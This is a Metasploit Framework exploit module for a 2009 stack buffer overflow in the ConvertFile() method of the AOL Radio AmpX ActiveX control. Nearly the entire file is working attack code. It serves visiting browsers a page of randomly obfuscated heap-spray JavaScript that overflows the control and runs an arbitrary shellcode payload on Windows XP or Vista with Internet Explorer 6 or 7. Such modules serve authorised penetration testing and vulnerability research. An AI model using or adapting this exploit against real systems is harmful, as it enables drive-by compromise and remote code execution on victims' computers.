Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = NormalRanking

        include Msf::Exploit::Remote::HttpServer::HTML

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow',

                        'Description'    => %q{

                                        This module exploits a stack-based buffer overflow in AOL IWinAmpActiveX

                                class (AmpX.dll) version 2.4.0.6 installed via AOL Radio website.

                                By setting an overly long value to 'ConvertFile()', an attacker can overrun

                                a buffer and execute arbitrary code.

                        },

                        'License'        => MSF_LICENSE,

                        'Author'         =>

                                [

                                        'rgod <rgod[at]autistici.org>',                # Original exploit [see References]

                                        'Trancer <mtrancer[at]gmail.com>'        # Metasploit implementation

                                ],

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'OSVDB', '54706' ],

                                        [ 'BID', '35028' ],

                                        [ 'URL', 'http://www.milw0rm.com/exploits/8733' ],

                                ],

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'process',

                                },

                        'Payload'        =>

                                {

                                        'Space'         => 1024,

                                        'BadChars'      => "\x00\x09\x0a\x0d'\\",

                                        'StackAdjustment' => -3500,

                                },

                        'Platform'       => 'win',

                        'Targets'        =>

                                [

                                        [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 250, 'Ret' => 0x0C0C0C0C } ]

                                ],

                        'DisclosureDate' => 'May 19 2009',

                        'DefaultTarget'  => 0))

        end

        def autofilter

                false

        end

        def check_dependencies

                use_zlib

        end

        def on_request_uri(cli, request)

                # Re-generate the payload

                return if ((p = regenerate_payload(cli)) == nil)

                # Encode the shellcode

                shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

                # Setup exploit buffers

                nops           = Rex::Text.to_unescape([target.ret].pack('V'))

                ret            = Rex::Text.uri_encode([target.ret].pack('L'))

                blocksize = 0x40000

                fillto    = 500

                offset           = target['Offset']

                # Randomize the javascript variable names

                ampx             = rand_text_alpha(rand(100) + 1)

                j_shellcode  = rand_text_alpha(rand(100) + 1)

                j_nops       = rand_text_alpha(rand(100) + 1)

                j_headersize = rand_text_alpha(rand(100) + 1)

                j_slackspace = rand_text_alpha(rand(100) + 1)

                j_fillblock  = rand_text_alpha(rand(100) + 1)

                j_block      = rand_text_alpha(rand(100) + 1)

                j_memory     = rand_text_alpha(rand(100) + 1)

                j_counter    = rand_text_alpha(rand(30) + 2)

                j_ret        = rand_text_alpha(rand(100) + 1)

                j_eax        = rand_text_alpha(rand(100) + 1)

                j_bof        = rand_text_alpha(rand(100) + 1)

                # Build out the message

                content = %Q|

<html>

<OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' id='#{ampx}'></OBJECT>

<script language='javascript'>

        #{j_shellcode}=unescape('#{shellcode}');

        #{j_nops}=unescape('#{nops}');

        #{j_headersize}=20;

        #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;

        while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};

        #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});

        #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});

        while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};

        #{j_memory}=new Array();

        for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

        #{j_eax}='';

        for(#{j_counter}=0;#{j_counter}<=350;#{j_counter}++)#{j_eax}+=unescape('%FF%FF%FF%FF');

        #{j_ret}='';

        for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');

        #{j_bof}=#{j_eax}+#{j_ret};

        #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);

        #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);

        #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);

        #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);

</script>

</html>

                        |

                print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

                # Transmit the response to the client

                send_response_html(cli, content)

                # Handle the payload

                handler(cli)

        end

end